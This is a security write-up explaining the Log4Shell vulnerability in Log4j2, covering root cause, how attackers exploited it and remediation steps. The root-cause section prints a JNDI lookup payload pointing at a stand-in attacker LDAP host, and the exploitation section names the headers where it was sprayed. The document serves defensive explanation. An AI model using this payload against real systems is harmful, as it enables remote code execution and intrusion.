An independent re-analysis by Goldberg Security Research of a publicly disclosed vulnerability: our breakdown of root cause, exploitation, and defence. Discovery credit belongs to the original researchers (see references).
Why it was catastrophic
Log4Shell married trivial exploitation with near-universal reach. Log4j2 is embedded in a vast share of Java software, and the trigger was just a string that got logged — something attackers can influence almost anywhere (a header, a username, a chat message). One line, unauthenticated, full RCE.
Root cause
Log4j2 supported message lookup substitution: special ${...} tokens in
a logged string were expanded at log time. One lookup was JNDI, which can fetch and
resolve objects from a remote directory server. So logging an attacker-controlled string like:
${jndi:ldap://attacker.example/a}
caused Log4j to reach out to the attacker's LDAP server, fetch a malicious object reference, and — on vulnerable JDKs/configs — load and execute attacker-controlled Java. The data being logged was being interpreted, not just recorded.
Exploitation
Attackers sprayed the payload into any field likely to be logged — User-Agent,
X-Forwarded-For, form fields, even device names — and stood up an LDAP/RMI server to
serve the second stage. Within hours of disclosure, mass internet-wide scanning and exploitation
were underway, dropping coin miners, RATs, and ransomware footholds.
Remediation
- Upgrade to Log4j 2.17.0+ (2.15 fixed the core issue; 2.16/2.17 addressed follow-on CVEs).
- Where upgrade lagged: remove the
JndiLookupclass from the classpath. - Inventory transitive Java dependencies — Log4j was buried deep in countless products.
Takeaway
The enduring lesson: a logging library should record data, never interpret it. Any feature that turns logged input into executable lookups collapses the data/control boundary — and logging touches every untrusted input in the system.